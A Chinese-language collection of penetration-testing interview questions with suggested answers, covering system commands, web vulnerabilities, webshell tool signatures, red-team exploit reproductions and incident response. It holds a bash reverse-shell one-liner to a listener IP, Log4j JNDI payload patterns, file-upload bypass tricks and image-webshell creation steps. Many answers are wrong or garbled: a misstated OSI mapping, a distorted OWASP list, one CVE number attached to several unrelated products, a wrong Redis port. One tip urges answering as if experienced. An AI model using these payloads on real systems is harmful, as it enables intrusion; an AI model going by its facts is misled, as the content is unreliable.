网络攻防面试题整理
1.基础知识
1. Linux的常用命令有哪些?
- Linux的常用命令有很多,根据不同的功能和用途,可以分为以下几类:
- 文件和目录操作命令,如
ls、cd、cp、mv、rm
等 - 系统状态查看命令,如
stat、who、whoami、hostname、uname、top、ps、du、df、ifconfig、free
等 - 文本处理命令,如
cat、echo、grep、sed、awk
- 压缩和解压缩命令,如
tar、gzip
等 - 网络通信命令,如
ping、telnet、ssh
等 - 用户和用户组管理命令,如
useradd、userdel
等
这些只是一些常见的Linux
命令,还有很多其他的命令可以在Linux系统中使用。你可以通过man或help来查看每个命令的用法和选项。
- 文件和目录操作命令,如
2. Linux启动自带防火墙的方式
CentOS7:
使用systemctl
命令启动:
systemctl start firewalld.service
使用firewall#cmd命令启动:
firewall#cmd ##state
若输出notrunning,则表明防火墙未启动,可通过以下命令启动:
firewall#cmd ##runtime#to#permanent # systemctl start firewalld.service
Ubuntu:
ufw enable
3. Linux的计划任务怎么查看?
crontab
命令- 查看Linux下的计划任务。
- 使用
crontab
#l- 可以查看当前用户的计划任务列表,使用
crontab #e
- 可以编辑当前用户的计划任务。
4. Windows的常用命令有哪些?
dir
:列出指定目录下的文件和子目录cd
:更改当前工作目录copy
:复制文件del
:删除文件type
:显示文件内容move
:移动文件format
:格式化磁盘或分区md
:创建新目录rd
:删除空目录tasklist
:显示当前系统正在运行的任务ipconfig
:显示当前的IP配置信息
5. Linux和windows下分别查看网络连接的命令是什么?参数都是什么意思?
Linux:
命令:netstat #tulpn
参数:
#t:显示TCP连接
#u:显示UDP连接
#l:仅显示正在监听的连接
#p:显示正在使用的进程
#n:显示数字而不是服务名称
Windows:
命令:netstat #ano
参数:
#a:显示所有连接和监听端口
#n:显示端口号和IP地址
#o:显示正在使用的进程ID
6. Linux和windows下查看IP的命令是什么,参数都是什么意思?
Linux下查看IP的命令是:ifconfig
参数:#a
:显示所有网络接口的信息;
#s
:显示每个接口的统计信息。
Windows下查看IP的命令是:ipconfig;
参数:/all
:显示所有网络接口的信息;
/renew:
强制分配新的IP地址;
/flushdns:
清除DNS缓存;
/displaydns
:显示当前DNS缓存内容。
7. windows ipconfig 接all (ipconfig /all)是什么功能?
ipconfig /all
是一個命令行工具,它可以用來顯示本機電腦的網絡連接詳細資訊,包括IP位址、子網路遮罩、預設網關、DNS伺服器等。
它可以幫助用戶了解本機網絡設置狀態,以檢測網絡連接故障和調整網絡參數。
8. Linux和windows下查看进程的命令是什么,参数都是什么意思?杀死进程的命令又是什么?
-
Linux:
-
查看进程的命令:
ps #ef
- 参数
#ef
:#e表示显示所有进程,#f表示显示完整的进程信息。
- 参数
杀死进程的命令:kill #9 PID
,参数#9
表示强制终止进程,PID
表示进程号。
Windows:
tasklist
- 查看进程的命令,参数/svc表示显示服务。
- 杀死进程的命令:
taskkill /F /PID pid
,参数/F表示强制终止进程,/PID表示指定进程号
,pid表示进程号。
9. vim 是什么?和cat命令有什么区别?
Vim
是一款功能强大的文本编辑器,它是vi
的增强版,由Bram Moolenaar
开发,现已经普遍应用于Unix/Linux
系统中。
与cat命令
相比,Vim更加强大,可以用来编辑文本文件,支持搜索、替换和复制
等功能,而cat命令
仅仅是用来查看文件内容的。
10. Linux下的ls命令里,有一个ls #l ll
,什么情況下ll
不能用?
ll 命令
不是 Linux 系统中原生支持的命令,而是一个别名,它的实际命令是 ls #l
,只有在系统中安装了该命令别名,才能使用 ll 命令
。如果系统中没有安装该命令别名,则无法使用 ll 命令
。
11. Linux和windows查看某一个在使用的端口对应的进程号怎么办?
Linux:
使用命令“netstat #tlnp”
可以查看出端口号和对应的进程号;
Windows:
使用命令“netstat #ano”
可以查看出端口号和对应的进程号。
12. 0SI的7层模型是什么?TCP/IP的4层模型是什么?对应关系如何?
OSI
(开放系统互联)7层模型是:物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。
TCP/IP
(传输控制协议/网际协议)4层模型是:网络接口层、网络层、传输层和应用层。
OSI
与TCP/IP
的对应关系如下:
OSI
的物理层对应TCP/IP的网络接口层
;
OSI
的数据链路层对应TCP/IP的网络层
;
OSI
的网络层对应TCP/IP的传输层
;
OSI的
传输层、
会话层、
表示层对应
TCP/IP的应用层`。
13. TCP三次握手是什么?TCP四次挥手是什么?
TCP三次握手是指当一个TCP连接请求发出时,双方都需要经过三个步骤,即:
-
客户端发送一个带有
SYN标志
的TCP包
给服务器
。 -
服务器收到
客户端
发来的SYN标志
后,向客户端发送一个SYN/ACK标志
的TCP
包。 -
客户端收到
服务器
发来的SYN/ACK标志
后,向服务器发送一个ACK标志
的TCP包
,
如下图:
TCP四次挥手
是指当一个TCP
连接结束时,双方都需要经过四个步骤,即:
-
主机A发送一个带有
FIN标志
的TCP包
给主机B
。 -
主机B
收到主机A
发来的FIN标志
后,向主机A
发送一个ACK标志
的TCP包
,来确认收到了FIN
标志。 -
主机B
发送一个带有FIN标志
的TCP包
给主机A
。 -
主机A
收到主机B
发来的FIN标志
后,向主机B
发送一个ACK标志
的TCP包
,从而完成了TCP
四次挥手。
如下图:
14. OWASP TOP 10都有哪些?举一些例子
OWASP
的十大安全风险:
-
跨站脚本攻击(
XSS
):攻击者将恶意脚本注入到应用程序中,以便在用户访问时侵入他们的会话。 -
跨站请求伪造(
CSRF
):攻击者在用户不知情的情况下,向应用程序发送认可的命令。 -
敏感数据的
失序处理
:敏感数据以不安全的方式处理,使得攻击者
可以拦截
和读取数据
。 -
密码破解:攻击者使用
穷举
或字典攻击来破解用户的凭据
。 -
安全加固缺失:应用程序未正确使用安全功能,允许攻击者
攻击
和破坏
应用程序。 -
点击
劫持
:攻击者修改网页,使用户点击劫持
到其它恶意网站
。 -
密码应用:攻击者使用
弱口令
或通用口令
登录到应用程序。 -
代码注入:攻击者将恶意代码注入到应用程序中,以便
访问
和控制
应用程序。 -
无效的存储:应用程序未对数据进行有效的加密处理,使得攻击者可以拦截和解密数据。
-
缺少身份验证和授权:应用程序未正确使用身份验证和授权机制,允许攻击者攻击和破坏应用程序。
15. 《中华人民共和国网络安全法》是什么时候颁布执行的?
《中华人民共和国网络安全法》于2016年11月7日正式颁布,2017年6月1日起施行。
16. HTTP请求数据包的格式是什么样的?HTTP响应数据包的格式是什么样的?头部中有哪些常用的字段?
HTTP请求数据包的格式为:
请求行
:请求方法 请求路径 HTTP协议版本
请求头
:Host:User#Agent:Accept:Accept#Encoding:Accept#Language:Content#Type:Cookie:Connection等
请求体
:各类参数数据
HTTP响应数据包的格式为:
响应行:HTTP协议版本 状态码 状态码描述
响应头:Content#Type:Content#Length:Connection:Server:Date:Location:Set#Cookie等
响应体:各类数据
头部中常用字段:
Host:User#Agent:Accept:Accept#Encoding:Accept#Language:Content#Type:Cookie:Connection:Content#Length:Server:Date:Location:Set#Cookie等。
17 常见服务及其默认端口号的列表:
- HTTP (超文本传输协议) - 通常用于Web服务器,端口号是
80
。 - HTTPS (安全超文本传输协议) - 为HTTP的安全版本,通过SSL/TLS进行加密,端口号是
443
。 - FTP (文件传输协议) - 用于文件传输,端口号是
21
用于命令和控制,而数据传输通常使用端口20
。 - SMTP (简单邮件传输协议) - 用于发送邮件,端口号是
25
。经常使用端口465
(使用SSL)和587
(使用TLS)进行安全邮件传输。 - POP3 (邮局协议第3版) - 用于接收邮件,端口号是
110
,加密版本通常使用端口995
。 - IMAP (互联网消息访问协议) - 另一种邮件接收协议,提供更多的功能,端口号是
143
,加密版本通常使用端口993
。 - SSH (安全壳协议) - 用于安全地访问远程计算机,端口号是
22
。 - Telnet - 用于远程控制,但不安全,端口号是
23
。 - DNS (域名系统) - 用于解析域名到IP地址,端口号是
53
。 - RDP (远程桌面协议) - 用于Windows操作系统的远程桌面服务,端口号是
3389
。 - MySQL - 通常使用
3306
端口。 - Oracle Database - 默认端口是
1521
。 - PostgreSQL - 默认端口是
5432
。 - Microsoft SQL Server - 默认端口是
1433
。在SQL Server配置管理器中,还可以更改或分配多个端口。 - IBM DB2 - 默认端口是
50000
,加密连接的默认端口是50001
。 - MariaDB - 和MySQL一样,通常使用
3306
端口。 Redis
服务器 - 6739端口
2.渗透技能
漏洞相关
1. XXE漏洞是什么,利用方式是什么?
`XXE`漏洞是`xml`外部实体注入漏洞,就是代码(`java`,`php`)在解析xml字符串时,支持解析其中的外部实体引入导致的一种漏洞,这种漏洞可以用于`读取敏感文件`、`探测内网`、`代码执行`、对内网进行`DDOS攻击`等等。比如`读取敏感文件`,可以在引入外部实体时使用`file协议`读取系统文件,比如`file:///etc/passwd`。还可以`探测内网`,比如`使用http协议`访问各种端口,比如`http://192.168.1.1:80`
XXE漏洞
支持的协议有http,file,ftp,.......
2. 文件上传漏洞原理是什么?如何测试?
文件上传漏洞就是对上传的文件判断不够严谨可以绕过直接上传web后门
。
测试方法有以下:
第一步,先测试上传文件判断是服务端
还是客户端
,如果是客户端直接修改js源码
或者抓包修改
即可绕过
第二步,然后抓包修改数据包进行测试
具体测试流程:
1. 对文件上传的地方按照要求上传文件,查看返回结果
2. 尝试上传不同类型的恶意文件,比如`xx.php`,分析结果
3. 查看`html`源码,看是否通过`js`在前端做了上传限制,可以绕过;
4. 尝试使用不同方式进行绕过,`黑白名单`绕过/`MIME类型`绕过/目录`0x00截断`绕过等;
5. 猜测或者结合其他漏洞(比如敏感信息泄露等)得到木马路径,连接测试。
3. 文件上传漏洞如何绕过?
文件上传有很多方式绕过,可以先测试是客户端验证还是服务端验证,客户端验证直接改代码,服务端验证需要测试看是哪种类型,看服务器是判定了文件扩展名还是文件类型还是具体的文件内容,抓包修改测试即可。具体点
如果要利用,我可以尝试绕过检查后缀名的黑名单,比如只检查了php
,我可以尝php3
,php4
,php5
,phar
等等,一切能执行的后缀都尝试一遍 如果要利用,我可以尝试抓包修改Content#Type
字段,还有上传的图片内容这些。
如果还不行,可以尝试上传图片马,然后再结合文件包含漏洞利用。
如果还不行,可以尝试结合中间件的解析漏洞,比如上传之后在后缀名后面加/.php
,
或者尝试00
截断,%00截断
等等。
4. 绕过后缀名检测有哪些方式?如果是白名单,如何绕过?
文件扩展名还是文件类型还是具体的文件内容,抓包修改测试即可。
具体点:
如果要利用,我可以尝试绕过检查后缀名的黑名单,比如只检查了php
,我可以尝试php3,php4,php5,phar
等等,一切能执行的后缀都尝试一遍
如果要利用,我可以尝试抓包修改Content#Type
字段,还有上传的图片内容这些。
如果还不行,可以尝试上传图片马,然后再结合文件包含漏洞利用。
如果还不行,可以尝试结合中间件的解析漏洞,比如上传之后在后缀名后面加/.php,
或者尝试00
截断,%00截断
等等。
白名单绕过,如果不算图片马就是三方面,第一结合中间件的解析漏洞绕过,第二在后缀名
后面加特殊字符,比如%00
,或者00截断
。第三就是利用竞争条件绕过,有时候上传有逻辑漏洞
,上传文件之后会先保存再判断,判断完之后再删除,可以尝试不停上传同时用webshell工具
连接,只要webshell
连接上了,文件就删除不了了
5. SQL注入漏洞原理是什么?如何测试?
sql注入漏洞原理
就是用户输入的数据
被当作指令
执行了。
测试这个漏洞可以使用sqlmap
或者手工测试
,手工测试可以通过and 1=1
和and1=2
看返回结果,返回结果不一致则有漏洞。如果参数是字符型就需要加单引号闭合一下再加and 1=1
和and1=2
看返回结果
6. SQL注入漏洞有几种?
联合查询注入、报错注入、时间盲注、布尔盲注、堆叠注入、宽字节注入等
7. SQL注入漏洞 and 1=1和and 1=2 是什么意义呢?什么类型的注入and 1=1和and 1=2 没用呢?对于时间注入,比如SQL server时间注入有哪些函数?
1=1
代表真,1=2
代表假,如果and 1=1
和and 1=2
都执行了,是可以看出返回结果不一致的
时间盲注是没有用的。用到时间盲注的时候,说明不回返回结果。
waitfor delay ‘0:0:3’
8. 文件包含漏洞了 解吗?漏洞原理或者说原因是什么。
文件包含的代码文件名被写成一个变量,且这个变量可以由
前端用户
传入。
具体点:
文件包含漏洞是一种网络安全漏洞
,其原理是网站开发人员将用户提交的参数(如URL
参数)直接使用在服务器端代码中,而这些参数可能被攻击者恶意利用,从而导致服务器上的文件被恶意包含进网页中,从而获取敏感信息或执行恶意 代码。
9. 图片木马怎么制作?
伪造头部 GIF89A
抓包在图片最后加上一句话后门代码
CMD命令--> copy /b test.png + muma.php ccc.png
10. 代码执行,命令执行,反序列化漏洞有测试过吗?
有,我测试过和挖掘过thinkphp rce
漏洞
具体点:
这些漏洞的测试可以通过使用代码审计工具
,安全扫描工具
,以及手动测试
等方式进行。其中,代码审计工具可以用来检查源代码中是否存在安全漏洞,例如SQL注入
,命令执行,反序列化
等;安全扫描工具可以扫描网站的安全漏洞,并显示可能存在的安全风险;手动测试则是针对具体的安全漏洞,如SQL注入,命令执行,反序列化
等,进行手动的探测和测试,以尝试发现安全漏洞。
11. 文件上传白名单如何绕过
如果不算图片马就是三方面,第一结合中间件的解析漏洞绕过
,第二在后缀名后面加特殊字符
,比如%00
,或者00截断
。第三就是利用竞争条件绕过
,有时候上传有逻辑漏洞
,上传文件
之后会先保存再判断,判断完之后再删除,可以尝试不停上传同时用webshell
工具连接,只要webshell
连接上了,文件就删除不了了。
如果是黑名单绕过,尝试各种可能的后缀名,比如只检查了php
,我可以尝试php3,php4,php5,phar
等等,一切能执行的后缀都尝试一遍
12. 像你说的漏洞靶场里面,像你做过哪些东西?跨站脚本攻击怎么复现的?
SQL注入 XSS(跨站脚本攻击)
CSRF(跨站请求伪造)
等等漏洞的复现。
找到输入点,输入特殊字符串
如: '"?&<>666
查看返回的源码,看特殊字符串是否完整
如果完整,可能存在XSS漏洞
如果不完整,需要精心构造绕过过滤的特殊字符串,进一步测试。
例如:服务器将用户输入内容作为标签的一个属性的值,那么便可以尝试构造闭合来给标签添加一个新的属性来实现`XSS漏洞`。
13. 能不能说一下你常用的靶机有哪些?
思路:我有自己搭建环境,在win7,2003
复现过比较简单的ms17-010,ms08-067
,也搭建网站环境,复现过IIS,apache,nginx
中间件解析漏洞,还有常见的OWASP 十大漏洞
比如sql注入、文件上传
等等,也用docker
复现过vulhub
上的框架、中间件漏洞
等等
提示:漏洞复现,就是强调动手能力
14 .asp;jpg他是什么原理,是什么类型的漏洞?
上传的时候,以jpg
后缀名上传的,可以通过检测
。
iis解析
的时候丢弃;后面的,就只解析成.asp
,是iis6.0
的解析漏洞
15. PHP反序列化漏洞你是怎么复现的?
PHP的反序列化漏洞
是因为在反序列化的时候存在可控变量,在反序列化中会调用一些魔术方法,如果这些方法中使用了如eval()
这样的函数,就能造成代码执行。所以直接找一些POC测试
就行了。
以下属于了解的内容:
相关的一些魔术方法及其功能
__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
序列化后的数据示例:
O:5:“hello”:1:{s:4:“test”;s:18:“”;}
一个对象有5个字符长度,名字叫hello
,它有一个变量,这个变量的名字是字符串类型,长度是4,名字是test
,变量的值是字符串类型,长度是18
,值是
序列化后的数据格式详解
a - array(数组类型)
b - boolean(布尔类型)
d - double(浮点类型)
i - integer(整型)
s - string(字符串类型)
O - class(对象
思路特征工具相关
16. 各个webshel管理工具的特征
蚁剑有什么特征?
- 流量中最明显的特征为
@ini_set("display_errors","0");
这段代码基本是所有WebShell
客户端连接PHP类WebShell
都有的一种代码-
第一:请求体中有代码
@ini_set("display_errors","0");
-
第二:
User-Agent
是随机的,有一个文件存储了100多个User-Agent
。文件名是useragents.json
-
第三:请求头中有代码
USER-Agent:antSword/v2.1
老版本存在,新版本可能不存在这个特征 -
根据不同功能
Content-length
会不同- 第一:请求头中有
User-Agent
;共150多个,不同浏览器使用的不一样 - 第二:
Content-length 8900+
- 第一:请求头中有
-
菜刀有什么特征?特征怎么分析的?
-
第一:
eval
,eval
函数用于传递攻击payload
,这是必不可少的; -
第二:
(base64_decode($_POST[z0]))
, 是将攻击payload
进行Base64
解码,因为菜刀默认是将攻击载荷使用Base64编码
,以免被检测。 -
第三:
&z0=QGluaV9zZXQ...,
该部分是传递攻击payload
,此参数z0
对应$_POST[z0]
接收到的数据,该参数值是使用Base64
编码的,所以可以利用base64解码
可以看到攻击明文。 -
注意:
-
1.有少数时候
eval
方法会被assert
方法替代 -
2.
$_POST也会被$_GET、$_REQUEST
替代 -
3.
z0
是菜刀默认的参数,这和地方也可能被修改为其他参数名
-
冰蝎有什么特征?
2.0特征
-
ACCEPT字段
- 冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
- 冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样
-
User-Agent字段
- 冰蝎内置十余种
UserAgent
,每次连接shell会随机选择一个进行使用。但都是比较老的,容易被检测到,但是可以在burp中修改ua头。
- 冰蝎内置十余种
-
Content-Length
Content-Length
:16,16
就是冰蝎2连接的特征
-
分析方法
- 使用Wireshark抓包分析,反编译冰蝎jar文件
-
3.0 beta6特征
- –>采用预共享密钥,全程无明文交互,密钥格式为
md5("admin")[0:16]
- –>采用预共享密钥,全程无明文交互,密钥格式为
User-Agent
-
有25个内置的
User-Agent
-
Accept
-
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
-
Accept-Language
zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
-
Content-Type
text/html;charset=utf-8
此外,Content-Length
和Cookie
也可以作为特征,只是长度不同情况不一样,Cookie不一定有特征字符串。
-
3.0 beta11特征
User-Agent
内置14个
-
其他字段
Accept,Accept-Encodng,Accept-Language等
-
构造的
http数据包
中有多个字段是写死在代码中的,比如User-Agent字段、还有其他一些字段,比如Accept,Accept-Encodng,Accept-Language
哥斯拉有什么特征?
流量特征
默认的三个字段
User-Agent:Mozilla/5.0(Windows NT 10.0;Win64;x64;rv:84.0)Gecko/20100101 Firefox/84.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n"
17. 讲一下渗透测试的流程?(要回答的真的像做过一样)
-
首先进行打点(寻找有可能存在漏洞的点,就是信息收集+漏洞扫描),就是信息收集:收集域名信息,备案信息,姓名,电话邮箱等用于社工,敏感目录,敏感文件,中间件版本,子域名信息,真实IP,C段旁站,收集端口、服务、系统版本信息,识别WAF,收集网站指纹cms等
-
然后进行漏洞挖掘:
浏览网站
,查看网站的规模
,功能
,特点
等,然后进行端口
、弱口令
、目录
等扫描 -
寻找漏洞,比如
sql注入
,命令注入
,xss
,csrf
,文件上传
,文件包含
,未授权访问
等,最后使用漏扫工具
扫描挖掘漏洞
-
漏洞利用或者验证漏洞:根据项目要求验证漏洞或者利用
挖掘
出的漏洞上传后门
,进行getshell
,然后再进行权限提升
。 -
根据项目要求完成报告。
18. 你在渗透测试过程中,都使用过哪些工具?
信息收集阶段:nmap,dirb,子域名挖掘机,whois, masscan
漏洞挖掘阶段:appscan,awvs,sqlmap等等
19. 有一个客户需要你做一个渗透测试,是一个登录页面,如何渗透?
首先是看有什么功能,比如登录页面有登录输入的地方,也有密码找回或者注册等功能
那就相当于有好几个功能,每个功能都可能有不同的漏洞
比如登录输入的地方,可能存在SQL注入、暴力破解、XSS
比如密码找回的地方,可能存在任意密码重置,SQL注入,XSS
比如注册的地方,也可能存在注入
如果要测试sql注入漏洞,可以抓包,使用sqlmap进行测试
如果要测试暴力破解漏洞,可以抓包,用burpsuite进行测试
20. 渗透测试验证过什么漏洞?具体流程说一下。
比如验证过sql注入漏洞,测试这个漏洞可以使用sqlmap或者手工测试,手工测试可以通过and 1=1和and1=2看返回结果,返回结果不一致则有漏洞。如果参数是字符型就需要加单引号闭合一下再加and 1=1和and1=2看返回结果
比如验证过RCE漏洞,测试thinkphp rce漏洞,首先根据URL特征,通过google hack进行网站的查找,然后想办法让网站报错,比如加入错误的参数,然后根据爆出的版本信息寻找对应的payload进行测试。
21. wireshark会用吗?比如筛选http包和get请求,如果筛选dns日志呢?
会用,过滤框中输入http即可过滤http数据包,使用 http.request.method==”GET” 过滤get请求
直接输入DNS,就能过滤DNS相关信息
22. wireshark怎么用的,比如看一个完整的数据包?有没有好的方法可以合到一块去
选择数据包,右键点击之后选择追踪流
23. Sqlmap有没有用过?用过哪些参数?
-u url
-p 参数
--risk 风险等级
--level 指定测试范围
-v 显示攻击日志
-r 数据包文件
--batch 一切一默认参数操作
--cookie 指定cookie
-f 指纹判定数据库类型
-b 获取数据库版本信息
--dbs 获取所有数据库
--current-db 获取当前数据库名称
--current-user 获取当前用户名称
-D “数据库名” --tbales 获取所有的数据表
-D “数据库名" -T "表名" --columns 获取字段
-D “数据库名" -T "表名" -C "字段名(多个)" --dump
24. 常见的webshel!管理工具用过哪些?文件上传接触过哪些webshell工具?
菜刀、蚁剑、冰蝎、哥斯拉
25. 扫描爆破你都是用什么工具去做?你都熟悉哪些安全工貝啊?
medusa、burpsuite、nikto(扫描)
26. 你学过渗透测试的相关内容。举个例子,假如这个网站有文件上传的功能,你怎么达到上传一个webshell的目的?
思路:文件上传有很多方式绕过,可以先测试是客户端验证还是服务端验证,客户端验证直接改代码,服务端验证需要测试看是哪种类型,看服务器是判定了文件扩展名还是文件类型还是具体的文件内容,抓包修改测试即可。具体点
如果要利用,我可以尝试绕过检查后缀名的黑名单,比如只检查了php,我可以尝试php3,php4,php5,phar等等,一切能执行的后缀都尝试一遍
如果要利用,我可以尝试抓包修改Content-Type字段,还有上传的图片内容这些。
如果还不行,可以尝试上传图片马,然后再结合文件包含漏洞利用。
如果还不行,可以尝试结合中间件的解析漏洞,比如上传之后在后缀名后面加/.php,或者尝试00截断等等。
每说一个点,就会产生新的问题,比如问你对应漏洞的原理。
27. 漏洞你都是怎么学习的?
首先,我会关注网络安全行业的最新动态,了解漏洞的类型、缓解措施等。其次,我会通过阅读网络安全方面的书籍、论文,以及查阅各类资料,来加深对漏洞的了解。此外,我还会通过关注一些专业安全网站,查看漏洞发布的新闻,以及参与漏洞讨论,从而更好地了解漏洞特性、解决方案等。最后,我还会自己编写程序,模拟漏洞的攻击场景,以便更深入地理解漏洞的原理和特性。
红队相关
REDTEAM
1. 红队在HW过程中的漏洞有了解吗?
了解,常见的有各种弱口令漏洞、RCE漏洞、文件上传写入漏洞,比如金山V8+终端安全系统弱口令漏洞。Shiro反序列化漏洞
2. 请问Linux服务器下如何提权?
简单来说,有几种利用配置不当提权,利用内核漏洞提权,利用`第三方软件漏洞利用`
3. 红队mysql提权方式了解吗?
myql提权有udf提权,mof提权,启动项提权等等
4. 红队mysql历史漏洞了解吗?
mysql漏洞有很多配置不当导致的,比如udf提权漏洞,就是配置不当导致的,phpmyadmin弱口令漏洞,phpmyadmin 文件包含漏洞等等
https://blog.csdn.net/m0_47418965/article/details/121708917
5. 反序列化漏洞有没有听过?有没有复现过?
有复现过,复现过weblogic,jboss,shiro反序列化漏洞
以weblogic为例,有很多反序列化漏洞,我复现过Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)原理是Weblogic的WLS Security组件使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
复现过程:用docker启动环境,访问漏洞URL,抓包改包
复现步骤:
- 用docker启动靶场
- 访问漏洞URL:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType, 抓包转发到repeater
- 切换到post,构造数据包发送,其中Content-Type修改为 text/xml,
- 然后修改xml数据中的反弹shell命令的IP和端口
bash -i >& /dev/tcp/192.168.220.137/21 0>&1
graphic
- 之后在kali用nc监听,
- 然后在burp发包,就会反弹shell
bash -i 打开一个交互的bash
bash -c “cmd string” 使用shell去运行脚本
linux shell下有三种标准的文件描述符,分别如下:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
&符号的含义,最好的理解:
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux还存在/dev/udp/
6. struts2,weblogic漏洞有没有了解过?
有复现过漏洞,复现过struts2,weblogic,漏洞
以structs2漏洞s2-001为例,漏洞原理就是提交表单时参数可以构造恶意OGNL表达式。OGNL表达式格式%{value}。提交时在value位置构造payload进行命令执行。payload中有最常见的java代码Runtime.getRuntime().exec(“whoami”),new ProcessBuilder.start(“whoami”)
复现过程:
"自己填充"用docker启动环境,访问漏洞URL,输入exp提交即可 “自己填充”
自己填充的示例:我平时会在vulhub还有vulapps上去下载一些漏洞环境,然后去复现试一试,学习学习。下载的都是docker环境。复现的过程呢就是…
自己填充
复现步骤:
-
用docker启动靶场
-
访问漏洞URL:http://127.0.0.1/ 是一个登陆框
-
在输入框中直接输入exp,点击执行,会返回信息
-
执行成功之后会返回执行命令的结果
7. weblogic的远程命令执行漏洞了解吗? CVE-2019-2725
了解过,复现过
CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。
-
从网上搜索文档,搭建环境
-
访问url:
http://127.0.0.1:7001/_async/AsyncResponseService
并抓包 -
修改请求为 post,然后执行下载
一句话木马
的命令 -
使用webshell工具链接。
参考链接:https://blog.csdn.net/qq_41617034/article/details/118799208
8. Strutsz,weblogic, jboss相关的漏洞有了解吗
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
复现步骤:
-
用docker启动靶场
-
访问漏洞URL:http://127.0.0.1:8080 是JBoss默认页面
-
访问http://127.0.0.1:8080/invoker/readonly ,若显示如下HTTP Status 500,则说明存在漏洞
-
使用工具测试利用漏洞
9. Shiro反序列化漏洞了解吗?有什么特征吗?
了解,复现过shiro-550漏洞,漏洞原理是在Shiro
框架下,用户登陆成功后会生成一个经过加密的Cookie
。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie
时,会按照如下步骤进行解析处理:
(1)检索RememberMe Cookie
的值
(2)进行Base64
解码
(3)进行AES
解码
(4)进行反序列化
操作
(5)在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
特征:请求中有cookie
字段,响应包有rememberMe=deleteMe
10. Log4j漏洞了解吗?有什么特征吗?
了解,漏洞原理是Log4j
内部调用lookup
,支持LDAP
协议,并支持反序列化,而构造URL
之后,就可以完成在指定URL
下载代码然后执行。各大java web框架
底层都用到了log4j
库,所以危害极大,堪比“永恒之蓝
”。
log4j
的流量特征 --> ${jndi:ldap://URL}
或 ${jndi:rmi://URL}
11. 通达OA的任意文件上传漏洞有了解吗?具体的利用方式了解吗?
了解,漏洞原理是被授权的远程攻击者通过文件上传配合文件包含,触发远程恶意代码执行。系统中auth.php登陆验证的相关逻辑,upload.php
中$P参数
如果非空就不需要经过auth.php
验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。攻击者可通过精心构造json
进入47行的include_once
进行文件包含。
https://www.cnblogs.com/L0ading/p/12565426.html
12. Apache shiro框架反序列化漏洞,shiro#550具体漏洞原理是什么?
了解,复现过shiro-550
漏洞,漏洞原理是在Shiro
框架下,用户登陆成功后会生成一个经过加密的Cookie
。其Cookie的Key的值为RememberMe
,Value的值是经过序列化、AES加密和Base64编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
(1)检索RememberMe Cookie的值
(2)进行Base64解码
(3)进行AES解码
(4)进行反序列化操作
(5)在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
特征:请求中有cookie字段,响应包有rememberMe=deleteMe
13. java shiro反序列化漏洞有测试过吗?shiro测试用的什么工县?
有测试过
用过shiro反序列化漏洞综合利用工具
14. 最新的漏洞有了解吗?
有,比如log4j
,漏洞原理是Log4j内部调用lookup,支持LDAP
协议,并支持反序列化,而构造URL之后,就可以完成在指定URL下载代码然后执行。各大java web框架底层都用到了log4j库,所以危害极大,堪比“永恒之蓝”。
log4j 的流量特征 --> ${jndi:ldap://URL} 或 ${jndi:rmi://URL}
最新的漏洞包括:CVE-2020-1472
(Netlogon远程毁坏漏洞)、CVE-2020-1472
(Zoom未授权访问漏洞)、CVE-2020-1472
(IBM DB2 远程代码执行漏洞)、CVE-2020-1473
(Drupal远程代码执行漏洞)、CVE-2020-1474(Microsoft Exchange服务器远程代码执行漏洞)和CVE-2020-1475(SAP未授权访问漏洞)等。
3.应急技能
1. 应急响应的流程说一下,并解释含义。
1.首先就是事件确认,确认攻击的类型以及危害范围
2.事件抑制,分为可终止资产和不可终止资产。可终止资产呢就是关机或者断网以及删除被攻陷的账号;不可终止资产就是修改安全配置以及加固
3.事件处理:病毒查杀,基本就是一些安全基线的检查等等,最后要把业务恢复到正常状态
4.原因分析:通过分析流量以及各种日志来查找原因,看看攻击者是从哪里攻击进来的
5.撰写报告
6.结束跟踪:回顾整个应急响应的流程,看看还有哪些地方做的不到位
